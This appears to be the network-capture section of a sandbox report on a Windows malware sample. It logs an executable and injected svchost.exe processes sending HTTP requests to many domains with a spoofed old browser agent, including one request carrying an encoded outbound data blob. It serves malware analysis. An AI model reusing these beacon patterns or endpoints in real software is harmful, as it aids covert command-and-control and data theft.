2023-03-10 06:56:31 UTC	2762	IN	Data Raw: 66 69 6c 6c 3d 27 72 67 62 61 25 32 38 35 31 25 32 43 35 31 25 32 43 35 31 25 32 43 30 2e 32 35 25 32 39 27 20 74 72 61 6e 73 66 6f 72 6d 3d 27 72 6f 74 61 74 65 28 32 37 30 20 35 30 20 35 30 29 20 74 72 61 6e 73 6c 61 74 65 28 30 20 2d 33 30 29 27 25 33 45 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 6f 70 61 63 69 74 79 27 20 66 72 6f 6d 3d 27 31 27 20 74 6f 3d 27 30 27 20 64 75 72 3d 27 31 73 27 20 62 65 67 69 6e 3d 27 30 2e 37 35 73 27 20 72 65 70 65 61 74 43 6f 75 6e 74 3d 27 69 6e 64 65 66 69 6e 69 74 65 27 2f 25 33 45 25 33 43 2f 72 65 63 74 25 33 45 25 33 43 72 65 63 74 20 20 78 3d 27 34 36 2e 35 27 20 79 3d 27 34 30 27 20 77 69 64 74 68 3d 27 37 27 20 68 65 69 67 68 74 3d 27 32 30 27 20 72 78 3d 27 35 27 20 Data Ascii: fill='rgba%2851%2C51%2C51%2C0.25%29' transform='rotate(270 50 50) translate(0 -30)'%3E %3Canimate attributeName='opacity' from='1' to='0' dur='1s' begin='0.75s' repeatCount='indefinite'/%3E%3C/rect%3E%3Crect x='46.5' y='40' width='7' height='20' rx='5'
2023-03-10 06:56:31 UTC	2770	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 4c 61 79 65 72 53 6c 69 64 65 72 2f 73 74 61 74 69 63 2f 6c 61 79 65 72 73 6c 69 64 65 72 2f 6a 73 2f 67 72 65 65 6e 73 6f 63 6b 2e 6a 73 3f 76 65 72 3d 31 2e 31 39 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 4c 61 79 65 72 53 6c 69 64 65 72 2f 73 74 61 74 69 63 2f 6c 61 79 65 72 73 6c 69 64 65 72 2f 6a 73 2f 6c 61 79 65 72 73 6c 69 64 65 72 2e 6b 72 65 61 74 75 72 61 6d 65 64 69 61 2e 6a 71 75 65 72 79 2e 6a 73 Data Ascii: ps://dataform.co.uk/wp-content/plugins/LayerSlider/static/layerslider/js/greensock.js?ver=1.19.0'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/LayerSlider/static/layerslider/js/layerslider.kreaturamedia.jquery.js
2023-03-10 06:56:31 UTC	2778	IN	Data Raw: 6d 6e 5f 74 65 78 74 5d 5b 76 63 5f 62 74 6e 20 74 69 74 6c 65 3d 26 23 38 32 32 31 3b 52 45 51 55 45 53 54 20 44 45 4d 4f 26 23 38 32 32 31 3b 20 73 74 79 6c 65 3d 26 23 38 32 32 31 3b 6f 75 74 6c 69 6e 65 26 23 38 32 32 31 3b 20 63 6f 6c 6f 72 3d 26 23 38 32 32 31 3b 77 68 69 74 65 26 23 38 32 32 31 3b 20 6c 69 6e 6b 3d 26 23 38 32 32 31 3b 75 72 6c 3a 25 32 46 72 65 71 75 65 73 74 2d 64 65 6d 6f 25 32 46 7c 7c 7c 26 23 38 32 32 31 3b 20 63 73 73 3d 26 23 38 32 32 31 3b 2e 76 63 5f 63 75 73 74 6f 6d 5f 31 36 31 34 31 38 34 33 38 32 31 30 30 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 32 30 70 78 26 68 65 6c 6c 69 70 3b 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 64 Data Ascii: mn_text][vc_btn title=”REQUEST DEMO” style=”outline” color=”white” link=”url:%2Frequest-demo%2F\|\|\|” css=”.vc_custom_1614184382100{padding-top: 20px…"/><meta property="og:url" content="https://d
2023-03-10 06:56:31 UTC	2786	IN	Data Raw: 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 32 35 34 34 20 66 69 72 73 74 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 72 65 73 6f 75 72 63 65 73 2f 68 65 6c 70 2d 63 65 6e 74 72 65 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 32 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 48 65 6c 70 20 43 65 6e 74 72 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 Data Ascii: -type-post_type menu-item-object-page menu-item-52544 first"><a href='https://dataform.co.uk/resources/help-centre/' data-level='2'><span class="menu-item-text"><span class="menu-text">Help Centre</span></span></a></li> <li class="menu-item menu-item-type
2023-03-10 06:56:31 UTC	2794	IN	Data Raw: 6f 6f 74 65 72 3e 3c 21 2d 2d 20 23 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 09 3c 61 20 68 72 65 66 3d 22 23 22 20 63 6c 61 73 73 3d 22 73 63 72 6f 6c 6c 2d 74 6f 70 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 74 65 78 74 22 3e 47 6f 20 74 6f 20 54 6f 70 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 23 70 61 67 65 20 2d 2d 3e 0a 0a 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 6d 6f 64 61 6c 22 3e 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 74 61 72 74 63 6c 6f 63 6b 28 29 3b 7d 29 3b 66 75 6e Data Ascii: ooter>... #footer --><a href="#" class="scroll-top"><span class="screen-reader-text">Go to Top</span></a></div>... #page --><script type="text/javascript" id="modal">document.addEventListener("DOMContentLoaded",function(){startclock();});fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.6	64950	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2588	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 5456
2023-03-10 06:56:30 UTC	2588	OUT	Data Raw: 6f 43 56 51 62 49 47 49 69 34 32 50 6b 70 2b 6a 70 61 65 70 72 4b 36 77 73 37 58 42 6d 47 77 79 47 55 71 76 4d 30 6e 56 69 51 56 6e 39 6c 2b 33 6f 41 68 68 59 42 50 5a 48 54 44 59 77 6f 2b 74 4e 67 56 36 45 35 6f 42 6e 59 37 66 76 7a 6b 48 53 38 32 79 6d 37 61 6d 66 35 39 38 72 49 55 62 51 53 4e 67 76 4d 51 50 74 64 33 37 35 67 6d 6f 66 58 2b 6a 32 6b 73 76 61 63 51 31 44 61 47 71 35 34 48 48 4b 33 32 4a 31 67 2b 36 4d 39 52 4f 51 5a 35 4c 74 36 66 33 76 37 4e 73 51 74 6e 67 43 71 6d 34 46 70 73 2b 56 73 6e 67 56 48 47 4e 64 4f 36 38 70 72 65 66 6c 70 45 51 6f 75 4f 56 45 4d 78 38 51 51 69 66 70 2f 73 68 5a 37 6d 6c 56 2b 42 37 56 49 59 61 5a 53 6b 31 44 51 72 45 77 71 55 56 4e 7a 58 53 59 6c 73 63 69 30 53 55 78 73 55 31 41 6e 2f 50 35 6a 50 59 52 35 67 Data Ascii: oCVQbIGIi42Pkp+jpaeprK6ws7XBmGwyGUqvM0nViQVn9l+3oAhhYBPZHTDYwo+tNgV6E5oBnY7fvzkHS82ym7amf598rIUbQSNgvMQPtd375gmofX+j2ksvacQ1DaGq54HHK32J1g+6M9ROQZ5Lt6f3v7NsQtngCqm4Fps+VsngVHGNdO68preflpEQouOVEMx8QQifp/shZ7mlV+B7VIYaZSk1DQrEwqUVNzXSYlsci0SUxsU1An/P5jPYR5g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.6	65421	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2593	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:30 UTC	2593	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:30 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:30 UTC	2594	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.6	65438	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2594	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:30 UTC	2594	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:30 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:30 UTC	2595	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.6	1043	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2596	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:30 UTC	2597	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:30 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hVP3GEULkcKsLweYhvkSlJvuWkWkPxNDUYvySu3zZIzYzjvwG2on4nIxisbGpwtN4HJQ%2FrH6V%2Ff52yclF5PLqDfxkMvWBFj3XBhEnY5LP79MOUWFiJoxKR%2Ft"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a88019802c3d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:30 UTC	2598	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:30 UTC	2598	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.6	1051	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2596	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:30 UTC	2596	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:30 UTC	2596	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.6	1134	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2596	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:30 UTC	2598	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:30 UTC	2598	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.6	1117	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2596	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:30 UTC	2598	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:30 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:30 UTC	2599	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.6	65284	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2597	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.6	1359	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:31 UTC	2600	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:31 UTC	2604	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:31 UTC	2636	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:31 UTC	2671	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:31 UTC	2687	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:31 UTC	2703	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 